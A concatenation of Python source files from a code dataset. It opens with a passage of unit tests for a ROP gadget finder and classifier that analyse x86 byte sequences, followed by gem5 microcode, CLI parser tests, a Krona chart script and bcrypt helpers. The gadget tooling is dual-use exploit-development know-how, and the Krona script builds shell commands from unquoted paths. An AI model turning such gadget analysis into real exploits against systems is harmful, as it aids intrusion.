test_arithmetic_store_or_1(self): # testing : m[dst_reg] <- m[dst_reg] OP src_reg binary = "\x08\xa3\xa0\x31\x05\x08" # 0x00 : (6) or [ebx+0x80531a0], ah binary += "\xc9" # 0x06 : (1) leave binary += "\xc3" # 0x07 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000007) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[1]) self.assertEquals(len(g_candidates), 4) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[1].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x80531a0, 32), ReilRegisterOperand("ah", 8)]) self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x80531a0, 32)]) self.assertEquals(len(g_classified[1].modified_registers), 3) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) self.assertTrue(ReilRegisterOperand("ebp", 32) in g_classified[1].modified_registers) def test_load_constant_1(self): # testing : reg <- constant binary = "\x00\x0f" # 0x00 : (2) add [edi],cl binary += "\xb6\x55" # 0x02 : (2) mov dh,0x55 binary += "\xc3" # 0x04 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000004) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[1]) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.LoadConstant) self.assertEquals(g_classified[0].sources, [ReilImmediateOperand(0x55, 8)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("dh", 8)]) self.assertEquals(len(g_classified[0].modified_registers), 3) self.assertTrue(ReilRegisterOperand("edx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def print_candidates(self, candidates): print "Candidates :" for gadget in candidates: print gadget print "-" * 10 def print_classified(self, classified): print "Classified :" for gadget in classified: print gadget print gadget.type print "-" * 10 class GadgetVerifierTests64(unittest.TestCase): def setUp(self): self._arch_info = X86ArchitectureInformation(ARCH_X86_MODE_64) self._smt_solver = SmtSolver() self._smt_translator = SmtTranslator(self._smt_solver, self._arch_info.address_size) self._ir_emulator = ReilEmulator(self._arch_info) self._smt_translator.set_arch_alias_mapper(self._arch_info.alias_mapper) self._smt_translator.set_arch_registers_size(self._arch_info.registers_size) self._code_analyzer = CodeAnalyzer(self._smt_solver, self._smt_translator, self._arch_info) self._g_classifier = GadgetClassifier(self._ir_emulator, self._arch_info) self._g_verifier = GadgetVerifier(self._code_analyzer, self._arch_info) def test_store_memory_1(self): # testing : m[dst_reg + offset] <- src_reg # mov dword ptr [rax], esi ; ret binary = "\x89\x30" # 0x00 : (2) mov [rax], esi binary += "\xC3" # 0x02 : (1) ret disassembler = X86Disassembler(ARCH_X86_MODE_64) translator = X86Translator(ARCH_X86_MODE_64) g_finder = GadgetFinder(disassembler, binary, translator, ARCH_X86, ARCH_X86_MODE_64) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.StoreMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("esi", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("rax", 64), ReilImmediateOperand(0x0, 64)]) def print_candidates(self, candidates): print "Candidates :" for gadget in candidates: print gadget print "-" * 10 def print_classified(self, classified): print "Classified :" for gadget in classified: print gadget print gadget.type print "-" * 10 def main(): unittest.main() if __name__ == '__main__': main()

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null

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1

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9

656f7ad239f19a049af6a1e7bfdfbd3f0b6b3c60

113

py

Python

disco/sources/source_tree_1/__init__.py

daniel-thom/disco

2de6869888c015ff70985bf6f6b1a0fcc15fc561

[ "BSD-3-Clause" ]

2

2022-03-11T20:04:34.000Z

2022-03-14T22:25:29.000Z

disco/sources/source_tree_1/__init__.py

daniel-thom/disco

2de6869888c015ff70985bf6f6b1a0fcc15fc561

[ "BSD-3-Clause" ]

4

2022-03-11T17:48:50.000Z

2022-03-17T21:39:47.000Z

disco/sources/source_tree_1/__init__.py

daniel-thom/disco

2de6869888c015ff70985bf6f6b1a0fcc15fc561

[ "BSD-3-Clause" ]

null

from .source_tree_1_model import SourceTree1Model from .source_tree_1_model_inputs import SourceTree1ModelInputs

37.666667

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null

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1

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65abdb038c1b093f78c0ef736fe0d178089938a8

1,428

py

Python

src/arch/x86/isa/insts/simd512/floating_point/arithmetic/vdivpd.py

jyhuang91/gem5-avx

f988da46080f8db49beb39e20af437219f3aa4cb

[ "BSD-3-Clause" ]

2

2021-01-15T17:32:18.000Z

2021-12-21T02:53:58.000Z

src/arch/x86/isa/insts/simd512/floating_point/arithmetic/vdivpd.py

jyhuang91/gem5-avx

f988da46080f8db49beb39e20af437219f3aa4cb

[ "BSD-3-Clause" ]

3

2021-03-26T20:33:59.000Z

2022-01-24T22:54:03.000Z

src/arch/x86/isa/insts/simd512/floating_point/arithmetic/vdivpd.py

jyhuang91/gem5-avx

f988da46080f8db49beb39e20af437219f3aa4cb

[ "BSD-3-Clause" ]

3

2021-03-27T16:36:19.000Z

2022-03-28T18:32:57.000Z

microcode = ''' def macroop VDIVPD_XMM_XMM { vdivf dest=xmm0, src1=xmm0v, src2=xmm0m, size=8, VL=16 vclear dest=xmm2, destVL=16 }; def macroop VDIVPD_XMM_M { ldfp128 ufp1, seg, sib, "DISPLACEMENT + 0", dataSize=16 vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=16 vclear dest=xmm2, destVL=16 }; def macroop VDIVPD_XMM_P { rdip t7 ldfp128 ufp1, seg, riprel, "DISPLACEMENT + 0", dataSize=16 vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=16 vclear dest=xmm2, destVL=16 }; def macroop VDIVPD_YMM_YMM { vdivf dest=xmm0, src1=xmm0v, src2=xmm0m, size=8, VL=32 vclear dest=xmm4, destVL=32 }; def macroop VDIVPD_YMM_M { ldfp256 ufp1, seg, sib, "DISPLACEMENT + 0", dataSize=32 vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=32 vclear dest=xmm4, destVL=32 }; def macroop VDIVPD_YMM_P { rdip t7 ldfp256 ufp1, seg, riprel, "DISPLACEMENT + 0", dataSize=32 vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=32 vclear dest=xmm4, destVL=32 }; def macroop VDIVPD_ZMM_ZMM { vdivf dest=xmm0, src1=xmm0v, src2=xmm0m, size=8, VL=64 }; def macroop VDIVPD_ZMM_M { ldfp512 ufp1, seg, sib, "DISPLACEMENT + 0", dataSize=64 vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=64 }; def macroop VDIVPD_ZMM_P { rdip t7 ldfp512 ufp1, seg, riprel, "DISPLACEMENT + 0", dataSize=64 vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=64 }; '''

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8

02c16df9acd039d0293dc668304b95bb25ec3123

185

py

Python

dimka/core/__init__.py

madmis/dimka-binance

8a9173ac923d2fb122afeb68f85e4aba07d08c5b

[ "MIT" ]

null

dimka/core/__init__.py

madmis/dimka-binance

8a9173ac923d2fb122afeb68f85e4aba07d08c5b

[ "MIT" ]

null

dimka/core/__init__.py

madmis/dimka-binance

8a9173ac923d2fb122afeb68f85e4aba07d08c5b

[ "MIT" ]

null

from dimka.core.utils import * from dimka.core.app import * from dimka.core.config import * from dimka.core.models import * from dimka.core.client import * from dimka.core.dto import *

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null

0

1

0

1

0

1

0

7

02e512a56d8801ff5cbd52a4a5ee8620e1acb11d

14,641

py

Python

saklib/test/sakcmd_test.py

ferwitt/sak

677a90fc07b2a06a60171848acf2e06f5132d612

[ "MIT" ]

1

2020-03-15T17:01:43.000Z

saklib/test/sakcmd_test.py

ferwitt/sak

677a90fc07b2a06a60171848acf2e06f5132d612

[ "MIT" ]

4

2020-07-11T13:23:55.000Z

2021-03-17T01:49:28.000Z

saklib/test/sakcmd_test.py

ferwitt/sak

677a90fc07b2a06a60171848acf2e06f5132d612

[ "MIT" ]

null

import unittest from typing import List, Optional, Tuple from saklib.sakcmd import SakArg, SakCmd, SakCmdWrapper, sak_arg_parser class SakCmdTest(unittest.TestCase): def test_always_passes(self) -> None: # GIVEN. cmd = SakCmd("foo", helpmsg="Dummy command") # WHEN. ret = sak_arg_parser(cmd, ["-h"]) # THEN. self.assertEqual( ret["argparse"]["help"], "usage: foo [-h]\n\nDummy command\n\noptional arguments:\n -h, --help show this help message and exit\n", ) self.assertEqual(ret["ret"], None) self.assertEqual(repr(ret["cmd"]), repr(SakCmdWrapper(cmd))) class SakCmdWrapperTest(unittest.TestCase): def test_wrap_cmd_no_subcmd(self) -> None: # GIVEN. cmd = SakCmd("foo", helpmsg="Dummy command") wrap = SakCmdWrapper(cmd) # WHEN. ret = wrap.subcmds # THEN. self.assertEqual(ret, []) def test_wrap_cmd_one_subcmd(self) -> None: # GIVEN. cmd = SakCmd("foo", helpmsg="Dummy command") subcmd = SakCmd(name="bar", helpmsg="Dummy command 2") cmd.subcmds.append(subcmd) wrap = SakCmdWrapper(cmd) # WHEN. ret = wrap.subcmds # THEN. self.assertEqual(str(ret), str([SakCmdWrapper(subcmd)])) def test_wrap_cmd_no_help_string(self) -> None: # GIVEN. cmd = SakCmd("foo") wrap = SakCmdWrapper(cmd) # WHEN. ret = wrap.helpmsg # THEN. self.assertEqual(ret, "") def test_wrap_cmd_help_string(self) -> None: # GIVEN. cmd = SakCmd("foo", helpmsg="Dummy command") wrap = SakCmdWrapper(cmd) # WHEN. ret = wrap.helpmsg # THEN. self.assertEqual(ret, "Dummy command") class SakCmdWrapperFunctionDocTest(unittest.TestCase): def test_wrap_func_docstring(self) -> None: # GIVEN. def function_docstring(arg_int: int, arg_str: str, arg_list: List[str]) -> bool: """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :param arg_str: This is an string param. :param arg_list: This is an list param. :returns: This is an bool return. """ return False # WHEN. wrap = SakCmdWrapper(function_docstring) # THEN. self.assertEqual(wrap.name, "function_docstring") self.assertEqual(wrap.helpmsg, "Brief description.") self.assertEqual( wrap.description, "Brief description.\n\nLong description, this is a long description.", ) self.assertEqual(wrap.callback, function_docstring) self.assertEqual(wrap.subcmds, []) self.assertEqual(len(wrap.args), 3) self.assertEqual(wrap.args[0].name, "arg_int") self.assertEqual(wrap.args[0].helpmsg, "This is an int param.") self.assertEqual(wrap.args[0].short_name, None) self.assertEqual(wrap.args[0].vargs["required"], True) self.assertEqual(wrap.args[0].vargs["type"], int) self.assertEqual(wrap.args[0].completercb, None) self.assertEqual(wrap.args[1].name, "arg_str") self.assertEqual(wrap.args[1].helpmsg, "This is an string param.") self.assertEqual(wrap.args[1].short_name, None) self.assertEqual(wrap.args[1].vargs["required"], True) self.assertEqual(wrap.args[1].vargs["type"], str) self.assertEqual(wrap.args[1].completercb, None) self.assertEqual(wrap.args[2].name, "arg_list") self.assertEqual(wrap.args[2].helpmsg, "This is an list param.") self.assertEqual(wrap.args[2].short_name, None) self.assertEqual(wrap.args[2].vargs["required"], True) self.assertEqual(wrap.args[2].vargs["type"], str) self.assertEqual(wrap.args[2].vargs["nargs"], "+") self.assertEqual("action" in wrap.args[2].vargs, False) self.assertEqual(wrap.args[2].completercb, None) def test_wrap_func_docstring_optional_param(self) -> None: # GIVEN. def function_docstring( arg_int: int, arg_str: Optional[str] = "Hello world" ) -> bool: """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :param arg_str: This is an optional string param. :returns: This is an bool return. """ return False # WHEN. wrap = SakCmdWrapper(function_docstring) # THEN. self.assertEqual(wrap.name, "function_docstring") self.assertEqual(wrap.helpmsg, "Brief description.") self.assertEqual( wrap.description, "Brief description.\n\nLong description, this is a long description.", ) self.assertEqual(wrap.callback, function_docstring) self.assertEqual(wrap.subcmds, []) self.assertEqual(len(wrap.args), 2) self.assertEqual(wrap.args[0].name, "arg_int") self.assertEqual(wrap.args[0].helpmsg, "This is an int param.") self.assertEqual(wrap.args[0].short_name, None) self.assertEqual(wrap.args[0].vargs["required"], True) self.assertEqual(wrap.args[0].vargs["type"], int) self.assertEqual(wrap.args[0].completercb, None) self.assertEqual(wrap.args[1].name, "arg_str") self.assertEqual(wrap.args[1].helpmsg, "This is an optional string param.") self.assertEqual(wrap.args[1].short_name, None) self.assertEqual(wrap.args[1].vargs["required"], False) self.assertEqual(wrap.args[1].vargs["type"], str) self.assertEqual(wrap.args[1].vargs["default"], "Hello world") self.assertEqual(wrap.args[1].completercb, None) class SakArgParser(unittest.TestCase): def test_sak_arg_parse_func_docstring(self) -> None: # GIVEN. def func( arg_int: int, arg_str: str, arg_list: List[str] ) -> Tuple[int, str, List[str]]: """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :param arg_str: This is an string param. :param arg_list: This is an list param. :returns: Tuple with the input argument. """ return (arg_int, arg_str, arg_list) arglist = "--arg_int 1 --arg_str foo --arg_list hello world".split(" ") # WHEN. ret = sak_arg_parser(func, arglist) # THEN. self.assertEqual(ret["cmd"].callback, func) self.assertEqual("help" not in ret["argparse"], True) self.assertEqual("error" not in ret["argparse"], True) self.assertEqual(ret["value"][0], 1) self.assertEqual(ret["value"][1], "foo") self.assertEqual(ret["value"][2][0], "hello") self.assertEqual(ret["value"][2][1], "world") def test_sak_arg_parse_func_docstring_and_decorator(self) -> None: # GIVEN. @SakArg("arg_int", short_name="i") @SakArg("arg_str", short_name="s") @SakArg("arg_list", short_name="l") def func( arg_int: int, arg_str: str, arg_list: List[str] ) -> Tuple[int, str, List[str]]: """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :param arg_str: This is an string param. :param arg_list: This is an list param. :returns: Tuple with the input argument. """ return (arg_int, arg_str, arg_list) arglist = "--arg_int 1 --arg_str foo --arg_list hello world".split(" ") # WHEN. ret = sak_arg_parser(func, arglist) # THEN. self.assertEqual(ret["cmd"].callback, func) self.assertEqual("help" not in ret["argparse"], True) self.assertEqual("error" not in ret["argparse"], True) self.assertEqual(ret["value"][0], 1) self.assertEqual(ret["value"][1], "foo") self.assertEqual(ret["value"][2][0], "hello") self.assertEqual(ret["value"][2][1], "world") def test_sak_arg_parse_func_docstring_and_decorator_and_default(self) -> None: # GIVEN. @SakArg("arg_int", short_name="i") @SakArg("arg_str", short_name="s") @SakArg("arg_list", short_name="l") def func( arg_int: int = 0, arg_str: str = "", arg_list: List[str] = [] ) -> Tuple[int, str, List[str]]: """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :param arg_str: This is an string param. :param arg_list: This is an list param. :returns: Tuple with the input argument. """ return (arg_int, arg_str, arg_list) arglist = "--arg_int 1 --arg_str foo --arg_list hello world".split(" ") # WHEN. ret = sak_arg_parser(func, arglist) # THEN. self.assertEqual(ret["cmd"].callback, func) self.assertEqual("help" not in ret["argparse"], True) self.assertEqual("error" not in ret["argparse"], True) self.assertEqual(ret["value"][0], 1) self.assertEqual(ret["value"][1], "foo") self.assertEqual(ret["value"][2][0], "hello") self.assertEqual(ret["value"][2][1], "world") class SakCmdWrapperFunctionDocAndDecoratorTest(unittest.TestCase): def test_wrap_func_docstring_and_cmd_decorator(self) -> None: # GIVEN. @SakCmd("func", helpmsg="Higher precedence description.") def func(arg_int: int) -> None: """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :returns: Nothing. """ return None # WHEN. wrap = SakCmdWrapper(func) # THEN. self.assertEqual(wrap.name, "func") self.assertEqual(wrap.helpmsg, "Higher precedence description.") self.assertEqual( wrap.description, "Brief description.\n\nLong description, this is a long description.", ) self.assertEqual(wrap.callback, func) self.assertEqual(wrap.subcmds, []) self.assertEqual(len(wrap.args), 1) self.assertEqual(wrap.args[0].name, "arg_int") self.assertEqual(wrap.args[0].helpmsg, "This is an int param.") self.assertEqual(wrap.args[0].short_name, None) self.assertEqual(wrap.args[0].vargs["required"], True) self.assertEqual(wrap.args[0].vargs["type"], int) self.assertEqual(wrap.args[0].completercb, None) def test_wrap_func_docstring_and_arg_doc_decorator(self) -> None: # GIVEN. @SakArg( "arg_int", type=int, helpmsg="Higher precedence description for int param." ) def func(arg_int): # type: ignore """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :returns: Nothing. """ return None # WHEN. wrap = SakCmdWrapper(func) # THEN. self.assertEqual(wrap.name, "func") self.assertEqual(wrap.helpmsg, "Brief description.") self.assertEqual( wrap.description, "Brief description.\n\nLong description, this is a long description.", ) self.assertEqual(wrap.callback, func) self.assertEqual(wrap.subcmds, []) self.assertEqual(len(wrap.args), 1) self.assertEqual(wrap.args[0].name, "arg_int") self.assertEqual( wrap.args[0].helpmsg, "Higher precedence description for int param." ) self.assertEqual(wrap.args[0].short_name, None) self.assertEqual(wrap.args[0].vargs["required"], True) self.assertEqual(wrap.args[0].vargs["type"], int) self.assertEqual(wrap.args[0].completercb, None) def test_wrap_func_docstring_and_arg_default_decorator(self) -> None: # GIVEN. @SakArg("arg_int", default=10) def func(arg_int): # type: ignore """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :returns: Nothing. """ return None # WHEN. wrap = SakCmdWrapper(func) # THEN. self.assertEqual(wrap.name, "func") self.assertEqual(wrap.helpmsg, "Brief description.") self.assertEqual( wrap.description, "Brief description.\n\nLong description, this is a long description.", ) self.assertEqual(wrap.callback, func) self.assertEqual(wrap.subcmds, []) self.assertEqual(len(wrap.args), 1) self.assertEqual(wrap.args[0].name, "arg_int") self.assertEqual(wrap.args[0].helpmsg, "This is an int param.") self.assertEqual(wrap.args[0].short_name, None) self.assertEqual(wrap.args[0].vargs["required"], True) self.assertEqual(wrap.args[0].vargs["type"], int) self.assertEqual(wrap.args[0].completercb, None) def test_wrap_func_docstring_and_cmd_arg_decorator(self) -> None: # GIVEN. @SakCmd("func", helpmsg="Higher precedence description.") @SakArg("arg_int", default=10) def func(arg_int: int) -> None: """Brief description. Long description, this is a long description. :param arg_int: This is an int param. :returns: Nothing. """ return None # WHEN. wrap = SakCmdWrapper(func) # THEN. self.assertEqual(wrap.name, "func") self.assertEqual(wrap.helpmsg, "Higher precedence description.") self.assertEqual( wrap.description, "Brief description.\n\nLong description, this is a long description.", ) self.assertEqual(wrap.callback, func) self.assertEqual(wrap.subcmds, []) self.assertEqual(len(wrap.args), 1) self.assertEqual(wrap.args[0].name, "arg_int") self.assertEqual(wrap.args[0].helpmsg, "This is an int param.") self.assertEqual(wrap.args[0].short_name, None) self.assertEqual(wrap.args[0].vargs["required"], True) self.assertEqual(wrap.args[0].vargs["type"], int) self.assertEqual(wrap.args[0].completercb, None)

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null

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10

b84c7a50949a6c78287b8a0fc51e3e07dfaaf570

90

py

Python

trellomock/label.py

cesarob/py-trello-mock

60557a6fc417a4d47aa50be3ad6a7f6dbac2c797

[ "MIT" ]

null

trellomock/label.py

cesarob/py-trello-mock

60557a6fc417a4d47aa50be3ad6a7f6dbac2c797

[ "MIT" ]

null

trellomock/label.py

cesarob/py-trello-mock

60557a6fc417a4d47aa50be3ad6a7f6dbac2c797

[ "MIT" ]

null

# -*- coding: utf-8 -*- import trello.label as label class Label(label.Label): pass

12.857143

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null

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7

b88087fa610c485ec14d0119d7258aa1094cbcf5

6,023

py

Python

taxontabletools/create_krona_chart.py

TillMacher/TaxonTableTools

9b5c6356acd9890465d39f16b671eb346ceec25a

[ "MIT" ]

13

2020-08-26T03:03:46.000Z

2022-01-17T16:38:20.000Z

taxontabletools/create_krona_chart.py

TillMacher/TaxonTableTools

9b5c6356acd9890465d39f16b671eb346ceec25a

[ "MIT" ]

4

2020-08-24T14:42:46.000Z

2022-02-03T10:17:12.000Z

taxontabletools/create_krona_chart.py

TillMacher/TaxonTableTools

9b5c6356acd9890465d39f16b671eb346ceec25a

[ "MIT" ]

null

def create_krona_chart_single(TaXon_table_xlsx, path_to_outdirs): import subprocess, os, webbrowser import PySimpleGUI as sg import pandas as pd from pandas import DataFrame import numpy as np from pathlib import Path try: subprocess.call(["ktImportText"], stdout=open(os.devnull, 'wb')) except: sg.PopupError("Krona tools must be manually installed first!" + "\n" * 2 + "Note: Krona tools is currently not supported on Windows!" + "\n", title="Error") raise RuntimeError("Krona tools needs to be installed") TaXon_table_xlsx = Path(TaXon_table_xlsx) TaXon_table_df = pd.read_excel(TaXon_table_xlsx) TaXon_table_samples = TaXon_table_df.columns.tolist()[10:] TaXon_table_df = TaXon_table_df.replace(np.nan, '__', regex=True) ## create an output folder krona_chart_name = Path(TaXon_table_xlsx).name.replace(".xlsx", "") dirName = Path(str(path_to_outdirs) + "/Krona_charts/" + krona_chart_name) if not os.path.exists(dirName): os.mkdir(dirName) # check for presence absence data # otherwise abort and print error message pa_test = set([val for sublist in TaXon_table_df[TaXon_table_samples].values.tolist() for val in sublist]) if pa_test == {1,0}: pa_data = True else: pa_data = False row1 = ["sample-ID", "", "", "", "", "", ""] row2 = ["count", "phylum", "class", "order", "family", "genus", "species"] krona_taxonomy_list = [] krona_taxonomy_list.append(row1) krona_taxonomy_list.append(row2) for OTU in TaXon_table_df.values.tolist(): taxonomy = OTU[1:7] reads = sum(OTU[10:]) if pa_data == True: krona_taxonomy_list.append([1] + taxonomy) else: krona_taxonomy_list.append([reads] + taxonomy) krona_taxonomy_df = pd.DataFrame(krona_taxonomy_list) krona_chart_directory = Path(str(path_to_outdirs) + "/" + "Krona_charts" + "/" + TaXon_table_xlsx.stem) krona_table_tsv = Path(str(dirName) + "/single_krona_table.tsv") krona_chart_html = Path(str(dirName) + "_krona_single.html") # write krona table to tsv krona_taxonomy_df.to_csv(krona_table_tsv, sep="\t", header=False, index=False) os.system("ktImportText " + str(krona_table_tsv) + " -o " + str(krona_chart_html)) # finish script answer = sg.PopupYesNo('Show plot?', keep_on_top=True) if answer == "Yes": webbrowser.open('file://' + str(krona_chart_html)) closing_text = "Krona chart is found under:\n" + '/'.join(str(krona_chart_html).split("/")[-4:]) sg.Popup(closing_text, title="Finished", keep_on_top=True) from taxontabletools.create_log import ttt_log ttt_log("krona chart", "analysis", TaXon_table_xlsx.name, krona_chart_html.name, "nan", path_to_outdirs) def create_krona_chart_multi(TaXon_table_xlsx, path_to_outdirs): import subprocess, os, webbrowser import PySimpleGUI as sg import pandas as pd from pandas import DataFrame import numpy as np from pathlib import Path try: subprocess.call(["ktImportText"], stdout=open(os.devnull, 'wb')) except: sg.PopupError("Krona tools must be manually installed first!" + "\n" * 2 + "Note: Krona tools is currently not supported on Windows!" + "\n", title="Error") raise RuntimeError("Krona tools needs to be installed") TaXon_table_xlsx = Path(TaXon_table_xlsx) TaXon_table_df = pd.read_excel(TaXon_table_xlsx) TaXon_table_samples = TaXon_table_df.columns.tolist()[10:] TaXon_table_df = TaXon_table_df.replace(np.nan, '__', regex=True) samples = TaXon_table_df.columns.tolist()[10:] columns = TaXon_table_df.columns.tolist()[:10] # check for presence absence data # otherwise abort and print error message pa_test = set([val for sublist in TaXon_table_df[TaXon_table_samples].values.tolist() for val in sublist]) if pa_test == {1,0}: pa_data = True else: pa_data = False ## create an output folder krona_chart_name = Path(TaXon_table_xlsx).name.replace(".xlsx", "") dirName = Path(str(path_to_outdirs) + "/Krona_charts/" + krona_chart_name) if not os.path.exists(dirName): os.mkdir(dirName) ## store the names of the sample tsv files sample_tsv_path = [] ## write a seperate tsv file for each sample in the TaXon table for sample in samples: row1 = ["sample-ID", "", "", "", "", "", ""] row2 = ["count", "phylum", "class", "order", "family", "genus", "species"] krona_taxonomy_list = [] krona_taxonomy_list.append(row1) krona_taxonomy_list.append(row2) for OTU in TaXon_table_df[columns+[sample]].values.tolist(): taxonomy = OTU[1:7] reads = sum(OTU[10:]) if reads != 0: if pa_data == True: krona_taxonomy_list.append([1] + taxonomy) else: krona_taxonomy_list.append([reads] + taxonomy) ## store the data in df krona_taxonomy_df = pd.DataFrame(krona_taxonomy_list) krona_table_tsv = Path(str(dirName) + "/" + sample.replace(" ", "_") + "_krona_table.tsv") sample_tsv_path.append(str(krona_table_tsv)) # write krona table to tsv krona_taxonomy_df.to_csv(krona_table_tsv, sep="\t", header=False, index=False) krona_chart_html = Path(str(dirName) + "_krona_multi.html") os.system("ktImportText " + ' '.join(sample_tsv_path) + " -o " + str(krona_chart_html)) # finish script answer = sg.PopupYesNo('Show plot?', keep_on_top=True) if answer == "Yes": webbrowser.open('file://' + str(krona_chart_html)) closing_text = "Krona chart is found under:\n" + '/'.join(str(krona_chart_html).split("/")[-4:]) sg.Popup(closing_text, title="Finished", keep_on_top=True) from taxontabletools.create_log import ttt_log ttt_log("krona chart", "analysis", TaXon_table_xlsx.name, krona_chart_html.name, "nan", path_to_outdirs)

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1

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null

0

7

b89fa361378d09d9e402dc98fb67d84b6004f66a

124

py

Python

poorman_handshake/__init__.py

JarbasHiveMind/poorman_handshake

4b6460f994813017d1c1e56ea7e5760f503a8eca

[ "Apache-2.0" ]

null

poorman_handshake/__init__.py

JarbasHiveMind/poorman_handshake

4b6460f994813017d1c1e56ea7e5760f503a8eca

[ "Apache-2.0" ]

null

poorman_handshake/__init__.py

JarbasHiveMind/poorman_handshake

4b6460f994813017d1c1e56ea7e5760f503a8eca

[ "Apache-2.0" ]

null

from poorman_handshake.symmetric import PasswordHandShake from poorman_handshake.asymmetric import HandShake, HalfHandShake

41.333333

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8.461538

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true

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null

0

1

0

1

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7

b22dad59805034ef7dc33d7c0e0e73b9585c290b

75

py

Python

ux/tasks/__init__.py

vahndi/ux

8acb3c07327e547ee948788536b6d6d1d7815bb2

[ "MIT" ]

null

ux/tasks/__init__.py

vahndi/ux

8acb3c07327e547ee948788536b6d6d1d7815bb2

[ "MIT" ]

43

2019-05-30T12:26:52.000Z

2020-08-02T21:57:24.000Z

ux/tasks/__init__.py

vahndi/ux

8acb3c07327e547ee948788536b6d6d1d7815bb2

[ "MIT" ]

null

from ux.tasks.task import Task from ux.tasks.task_result import TaskResult

25

43

0.84

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4.769231

0.538462

0.193548

0.354839

0.483871

0

0.106667

75

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0.925373

0

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true

0

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null

0

1

0

1

0

1

0

7

b23d9ebd1749f4cfd520da59edbe3421eae86ce5

169

py

Python

gym_anytrading/envs/__init__.py

kylinLiu/gym-anytrading

fe71dd329a3eebf013e572c01d2aa0909b1e4156

[ "MIT" ]

null

gym_anytrading/envs/__init__.py

kylinLiu/gym-anytrading

fe71dd329a3eebf013e572c01d2aa0909b1e4156

[ "MIT" ]

null

gym_anytrading/envs/__init__.py

kylinLiu/gym-anytrading

fe71dd329a3eebf013e572c01d2aa0909b1e4156

[ "MIT" ]

null

# from .trading_env import TradingEnv, Actions, Positions from .trading_env import TradingEnv, Actions from .forex_env import ForexEnv from .stocks_env import StocksEnv

33.8

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169

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0.20438

0.291971

0.540146

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169

4

58

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0

1

0

1

0

1

0

8

b25236aa9ef5aa5d43a80af20069acf48ff13901

374

py

Python

utils/commons.py

pablobascunana/store-api-flask-sql

a079857d2d6a4277c7b2e6534f6fd7ffa27a6291

[ "MIT" ]

null

utils/commons.py

pablobascunana/store-api-flask-sql

a079857d2d6a4277c7b2e6534f6fd7ffa27a6291

[ "MIT" ]

null

utils/commons.py

pablobascunana/store-api-flask-sql

a079857d2d6a4277c7b2e6534f6fd7ffa27a6291

[ "MIT" ]

null

import bcrypt import uuid def generate_uuid_4(): return str(uuid.uuid4()) def generate_hash_password(password: str) -> str: return bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8') def check_hash_password(password: str, stored_password: str) -> bool: return bcrypt.checkpw(password.encode('utf-8'), stored_password.encode('utf-8'))

24.933333

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0.192453

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0.018182

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374

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null

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1

0

1

0

7

b261b75b0053b56dffe2e163e21b34bb94cf8d5c

41,057

py

Python

frame_2D_alg/alternative_versions/LUT.py

khanh93vn/CogAlg

b984c12316e266dd8f012dee90ce26bd604fbdd1

[ "MIT" ]

11

2018-12-01T04:20:06.000Z

2021-05-18T08:43:51.000Z

frame_2D_alg/alternative_versions/LUT.py

khanh93vn/CogAlg

b984c12316e266dd8f012dee90ce26bd604fbdd1

[ "MIT" ]

null

frame_2D_alg/alternative_versions/LUT.py

khanh93vn/CogAlg

b984c12316e266dd8f012dee90ce26bd604fbdd1

[ "MIT" ]

3

2020-03-27T14:01:22.000Z

2021-07-16T13:54:56.000Z

